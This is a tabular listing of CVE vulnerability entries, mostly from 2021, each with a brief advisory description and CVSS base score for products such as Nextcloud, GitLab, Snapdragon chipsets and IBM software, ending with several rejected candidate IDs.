CVE-2021-32733	Nextcloud Text is a collaborative document editing application that uses Markdown. A cross-site scripting vulnerability is present in versions prior to 19.0.13, 20.0.11, and 21.0.3. The Nextcloud Text application shipped with Nextcloud server used a `text/html` Content-Type when serving files to users. Due the strict Content-Security-Policy shipped with Nextcloud, this issue is not exploitable on modern browsers supporting Content-Security-Policy. The issue was fixed in versions 19.0.13, 20.0.11, and 21.0.3. As a workaround, use a browser that has support for Content-Security-Policy.	4.8	More Details
CVE-2020-23700	Cross Site Scripting (XSS) vulnerability in LavaLite-CMS 5.8.0 via the Menu Links feature.	4.8	More Details
CVE-2020-23702	Cross Site Scripting (XSS) vulnerability in PHP-Fusion 9.03.60 via 'New Shout' in /infusions/shoutbox_panel/shoutbox_admin.php.	4.8	More Details
CVE-2021-22225	Insufficient input sanitization in markdown in GitLab version 13.11 and up allows an attacker to exploit a stored cross-site scripting vulnerability via a specially-crafted markdown	4.7	More Details
CVE-2021-1901	Possible buffer over-read due to lack of length check while flashing meta images in Snapdragon Consumer IOT, Snapdragon Industrial IOT, Snapdragon Mobile, Snapdragon Voice & Music, Snapdragon Wearables	4.6	More Details
CVE-2021-1898	Possible buffer over-read due to incorrect overflow check when loading splash image in Snapdragon Consumer IOT, Snapdragon Industrial IOT, Snapdragon Mobile, Snapdragon Voice & Music, Snapdragon Wearables	4.6	More Details
CVE-2021-1897	Possible Buffer Over-read due to lack of validation of boundary checks when loading splash image in Snapdragon Consumer IOT, Snapdragon Industrial IOT, Snapdragon Mobile, Snapdragon Voice & Music, Snapdragon Wearables	4.6	More Details
CVE-2021-1899	Possible buffer over read due to lack of length check while flashing meta images in Snapdragon Consumer IOT, Snapdragon Industrial IOT, Snapdragon Mobile, Snapdragon Wearables	4.6	More Details

CVE Number	Description	Base Score	Reference
CVE-2021-22440	There is a path traversal vulnerability in some Huawei products. The vulnerability is due to that the software uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the software does not properly validate the pathname. Successful exploit could allow the attacker to access a location that is outside of the restricted directory by a crafted filename. Affected product versions include:HUAWEI Mate 20 9.0.0.195(C01E195R2P1), 9.1.0.139(C00E133R3P1);HUAWEI Mate 20 Pro 9.0.0.187(C432E10R1P16), 9.0.0.188(C185E10R2P1), 9.0.0.245(C10E10R2P1), 9.0.0.266(C432E10R1P16), 9.0.0.267(C636E10R2P1), 9.0.0.268(C635E12R1P16), 9.0.0.278(C185E10R2P1); Hima-L29C 9.0.0.105(C10E9R1P16), 9.0.0.105(C185E9R1P16), 9.0.0.105(C636E9R1P16); Laya-AL00EP 9.1.0.139(C786E133R3P1); OxfordS-AN00A 10.1.0.223(C00E210R5P1); Tony-AL00B 9.1.0.257(C00E222R2P1).	4.6	More Details
CVE-2020-20586	A cross site request forgery (CSRF) vulnerability in the /xyhai.php?s=/Auth/editUser URI of XYHCMS V3.6 allows attackers to edit any information of the administrator such as the name, e-mail, and password.	4.5	More Details
CVE-2021-26099	Missing cryptographic steps in the Identity-Based Encryption service of FortiMail before 7.0.0 may allow an attacker who comes in possession of the encrypted master keys to compromise their confidentiality by observing a few invariant properties of the ciphertext.	4.4	More Details
CVE-2021-20424	IBM Cloud Pak for Applications 4.3 could allow a remote attacker to obtain sensitive information when a detailed technical error message is returned in the browser. This information could be used in further attacks against the system. X-Force ID: 196309.	4.3	More Details
CVE-2021-34626	A vulnerability in the deleteCustomType function of the WP Upload Restriction WordPress plugin allows low-level authenticated users to delete custom extensions added by administrators. This issue affects versions 2.2.3 and prior.	4.3	More Details
CVE-2021-20417	IBM Guardium Data Encryption (GDE) 4.0.0.4 could allow a remote attacker to obtain sensitive information when a detailed technical error message is returned in the browser. This information could be used in further attacks against the system. IBM X-Force ID: 196219	4.3	More Details
CVE-2021-34627	A vulnerability in the getSelectedMimeTypesByRole function of the WP Upload Restriction WordPress plugin allows low-level authenticated users to view custom extensions added by administrators. This issue affects versions 2.2.3 and prior.	4.3	More Details
CVE-2021-25671	A vulnerability has been identified in RWG1.M12 (All versions < V1.16.16), RWG1.M12D (All versions < V1.16.16), RWG1.M8 (All versions < V1.16.16). Sending specially crafted ARP packets to an affected device could cause a partial denial-of-service, preventing the device to operate normally. A restart is needed to restore normal operations.	4.3	More Details
CVE-2021-1562	A vulnerability in the XSI-Actions interface of Cisco BroadWorks Application Server could allow an authenticated, remote attacker to access sensitive information on an affected system. This vulnerability is due to improper input validation and authorization of specific commands that a user can execute within the XSI-Actions interface. An attacker could exploit this vulnerability by authenticating to an affected device and issuing a specific set of commands. A successful exploit could allow the attacker to join a Call Center instance and have calls that they do not have permissions to access distributed to them from the Call Center queue. At the time of publication, Cisco had not released updates that address this vulnerability for Cisco BroadWorks Application Server. However, firmware patches are available.	4.3	More Details
CVE-2021-32707	Nextcloud Mail is a mail app for Nextcloud. In versions prior to 1.9.6, the Nextcloud Mail application does not, by default, render images in emails to not leak the read state. The privacy filter failed to filter images with a `background-image` CSS attribute. Note that the images were still passed through the Nextcloud image proxy, and thus there was no IP leakage. The issue was patched in version 1.9.6 and 1.10.0. No workarounds are known to exist.	4.3	More Details
CVE-2021-36383	Xen Orchestra (with xo-web through 5.80.0 and xo-server through 5.84.0) mishandles authorization, as demonstrated by modified WebSocket resourceSet.getAll data is which the attacker changes the permission field from none to admin. The attacker gains access to data sets such as VMs, Backups, Audit, Users, and Groups.	4.3	More Details
CVE-2021-29711	IBM UrbanCode Deploy (UCD) 6.2.7.3, 6.2.7.4, 6.2.7.8 , 6.2.7.9, 7.0.3.0, 7.0.4.0, 7.0.5.4, 7.1.0.0, 7.1.1.0, 7.1.1.1, and 7.1.1.2 could allow an authenticated user with certain permissions to initiate an agent upgrade through the CLI interface. IBM X-Force ID: 200965.	4.3	More Details
CVE-2021-20777	Improper authorization in handler for custom URL scheme vulnerability in GU App for Android versions from 4.8.0 to 5.0.2 allows a remote attacker to lead a user to access an arbitrary website via the vulnerable App.	4.3	More Details
CVE-2021-33709	A vulnerability has been identified in Teamcenter Active Workspace V4 (All versions < V4.3.9), Teamcenter Active Workspace V5.0 (All versions < V5.0.7), Teamcenter Active Workspace V5.1 (All versions < V5.1.4). By sending malformed requests, a remote attacker could leak an application token due to an error not properly handled by the system.	4.3	More Details
CVE-2021-1896	Weak configuration in WLAN could cause forwarding of unencrypted packets from one client to another in Snapdragon Compute, Snapdragon Connectivity	4.3	More Details
CVE-2021-29151	A remote authentication bypass vulnerability was discovered in Aruba ClearPass Policy Manager version(s): Prior to 6.10.0, 6.9.6 and 6.8.9. Aruba has released updates to ClearPass Policy Manager that address this security vulnerability.	4.3	More Details
CVE-2021-32511	QSAN Storage Manager through directory listing vulnerability in ViewBroserList allows remote authenticated attackers to list arbitrary directories via the file path parameter. The referred vulnerability has been solved with the updated version of QSAN Storage Manager v3.3.3.	4.3	More Details
CVE-2021-25429	Improper privilege management vulnerability in Bluetooth application prior to SMR July-2021 Release 1 allows untrusted application to access the Bluetooth information in Bluetooth application.	4.3	More Details
CVE-2021-33215	An issue was discovered in CommScope Ruckus IoT Controller 1.7.1.0 and earlier. The API allows Directory Traversal.	4.3	More Details

CVE Number	Description	Base Score	Reference
CVE-2021-32510	QSAN Storage Manager through directory listing vulnerability in antivirus function allows remote authenticated attackers to list arbitrary directories by injecting file path parameter. The referred vulnerability has been solved with the updated version of QSAN Storage Manager v3.3.3.	4.3	More Details
CVE-2021-25430	Improper access control vulnerability in Bluetooth application prior to SMR July-2021 Release 1 allows untrusted application to access the Bluetooth information in Bluetooth application.	4.3	More Details
CVE-2021-22233	An information disclosure vulnerability in GitLab EE versions 13.10 and later allowed a user to read project details	4.3	More Details
CVE-2021-36371	Emissary-Ingress (formerly Ambassador API Gateway) through 1.13.9 allows attackers to bypass client certificate requirements (i.e., mTLS cert_required) on backend upstreams when more than one TLSContext is defined and at least one configuration exists that does not require client certificate authentication. The attacker must send an SNI specifying an unprotected backend and an HTTP Host header specifying a protected backend. (2.x versions are unaffected. 1.x versions are unaffected with certain configuration settings involving prune_unreachable_routes and a wildcard Host resource.)	3.7	More Details
CVE-2021-32678	Nextcloud Server is a Nextcloud package that handles data storage. In versions prior to 19.0.13, 20.0.11, and 21.0.3, ratelimits are not applied to OCS API responses. This affects any OCS API controller (`OCSController`) using the `@BruteForceProtection` annotation. Risk depends on the installed applications on the Nextcloud Server, but could range from bypassing authentication ratelimits or spamming other Nextcloud users. The vulnerability is patched in versions 19.0.13, 20.0.11, and 21.0.3. No workarounds aside from upgrading are known to exist.	3.7	More Details
CVE-2021-31224	SES Evolution before 2.1.0 allows duplicating an existing security policy by leveraging access of a user having read-only access to security policies.	3.5	More Details
CVE-2021-32679	Nextcloud Server is a Nextcloud package that handles data storage. In versions prior to 19.0.13, 20.0.11, and 21.0.3, filenames where not escaped by default in controllers using `DownloadResponse`. When a user-supplied filename was passed unsanitized into a `DownloadResponse`, this could be used to trick users into downloading malicious files with a benign file extension. This would show in UI behaviours where Nextcloud applications would display a benign file extension (e.g. JPEG), but the file will actually be downloaded with an executable file extension. The vulnerability is patched in versions 19.0.13, 20.0.11, and 21.0.3. Administrators of Nextcloud instances do not have a workaround available, but developers of Nextcloud apps may manually escape the file name before passing it into `DownloadResponse`.	3.5	More Details
CVE-2021-22231	A denial of service in user's profile page is found starting with GitLab CE/EE 8.0 that allows attacker to reject access to their profile page via using a specially crafted username.	3.5	More Details
CVE-2021-32725	Nextcloud Server is a Nextcloud package that handles data storage. In versions prior to 19.0.13, 20.011, and 21.0.3, default share permissions were not being respected for federated reshares of files and folders. The issue was fixed in versions 19.0.13, 20.0.11, and 21.0.3. There are no known workarounds.	3.5	More Details
CVE-2021-32680	Nextcloud Server is a Nextcloud package that handles data storage. In versions priot to 19.0.13, 20.0.11, and 21.0.3, Nextcloud Server audit logging functionality wasn't properly logging events for the unsetting of a share expiration date. This event is supposed to be logged. This issue is patched in versions 19.0.13, 20.0.11, and 21.0.3.	3.3	More Details
CVE-2021-25432	Information exposure vulnerability in Samsung Members prior to versions 2.4.85.11 in Android O(8.1) and below, and 3.9.10.11 in Android P(9.0) and above allows untrusted applications to access chat data.	3.3	More Details
CVE-2021-25439	Improper access control vulnerability in Samsung Members prior to versions 2.4.85.11 in Android O(8.1) and below, and 3.9.10.11 in Android P(9.0) and above allows untrusted applications to cause arbitrary webpage loading in webview.	3.3	More Details
CVE-2021-32734	Nextcloud Server is a Nextcloud package that handles data storage. In versions prior to 19.0.13, 20.011, and 21.0.3, the Nextcloud Text application shipped with Nextcloud Server returned verbatim exception messages to the user. This could result in a full path disclosure on shared files. The issue was fixed in versions 19.0.13, 20.0.11, and 21.0.3. As a workaround, one may disable the Nextcloud Text application in Nextcloud Server app settings.	3.1	More Details
CVE-2021-32715	hyper is an HTTP library for rust. hyper's HTTP/1 server code had a flaw that incorrectly parses and accepts requests with a `Content-Length` header with a prefixed plus sign, when it should have been rejected as illegal. This combined with an upstream HTTP proxy that doesn't parse such `Content-Length` headers, but forwards them, can result in "request smuggling" or "desync attacks". The flaw exists in all prior versions of hyper prior to 0.14.10, if built with `rustc` v1.5.0 or newer. The vulnerability is patched in hyper version 0.14.10. Two workarounds exist: One may reject requests manually that contain a plus sign prefix in the `Content-Length` header or ensure any upstream proxy handles `Content-Length` headers with a plus sign prefix.	3.1	More Details
CVE-2021-36382	Devolutions Server before 2021.1.18, and LTS before 2020.3.20, allows attackers to intercept private keys via a man-in-the-middle attack against the connections/partial endpoint (which accepts cleartext).	2.6	More Details
CVE-2021-29759	IBM App Connect Enterprise Certified Container 1.0, 1.1, 1.2, and 1.3 could allow a privileged user to obtain sensitive information from internal log files. IBM X-Force ID: 202212.	2.3	More Details
CVE-2012-2689	Rejected reason: DO NOT USE THIS CANDIDATE NUMBER. ConsultIDs: none. Reason: This candidate was withdrawn by its CNA. Notes: none	N/A	More Details
CVE-2021-36217	Rejected reason: DO NOT USE THIS CANDIDATE NUMBER. ConsultIDs: CVE-2021-3502. Reason: This candidate is a duplicate of CVE-2021-3502. Notes: All CVE users should reference CVE-2021-3502 instead of this candidate. All references and descriptions in this candidate have been removed to prevent accidental usage	N/A	More Details
CVE-2008-1879	Rejected reason: DO NOT USE THIS CANDIDATE NUMBER. ConsultIDs: none. Reason: This candidate was withdrawn by its CNA. Notes: none	N/A	More Details

CVE Number	Description	Base Score	Reference
CVE-2012-0832	Rejected reason: DO NOT USE THIS CANDIDATE NUMBER. ConsultIDs: none. Reason: This candidate was withdrawn by its CNA. Notes: none	N/A	More Details
CVE-2012-4509	Rejected reason: DO NOT USE THIS CANDIDATE NUMBER. ConsultIDs: none. Reason: This candidate was withdrawn by its CNA. Notes: none	N/A	More Details
CVE-2007-5002	Rejected reason: DO NOT USE THIS CANDIDATE NUMBER. ConsultIDs: none. Reason: This candidate was withdrawn by its CNA. Notes: none	N/A	More Details
CVE-2020-19715	Rejected reason: DO NOT USE THIS CANDIDATE NUMBER. ConsultIDs: CVE-2019-13110 Reason: This candidate is a duplicate of CVE-2019-13110. Notes: All CVE users should reference CVE-2019-13110 instead of this candidate. All references and descriptions in this candidate have been removed to prevent accidental usage	N/A	More Details
CVE-2012-5632	Rejected reason: DO NOT USE THIS CANDIDATE NUMBER. ConsultIDs: none. Reason: This candidate was withdrawn by its CNA. Notes: none	N/A	More Details
CVE-2012-1609	Rejected reason: DO NOT USE THIS CANDIDATE NUMBER. ConsultIDs: none. Reason: This candidate was withdrawn by its CNA. Notes: none	N/A	More Details
CVE-2012-2659	Rejected reason: DO NOT USE THIS CANDIDATE NUMBER. ConsultIDs: none. Reason: This candidate was withdrawn by its CNA. Notes: none	N/A	More Details
CVE-2012-0816	Rejected reason: DO NOT USE THIS CANDIDATE NUMBER. ConsultIDs: none. Reason: This candidate was withdrawn by its CNA. Further investigation showed that it was not a security issue. Notes: none	N/A	More Details
CVE-2012-6688	Rejected reason: DO NOT USE THIS CANDIDATE NUMBER. ConsultIDs: none. Reason: This candidate was withdrawn by its CNA. Notes: none	N/A	More Details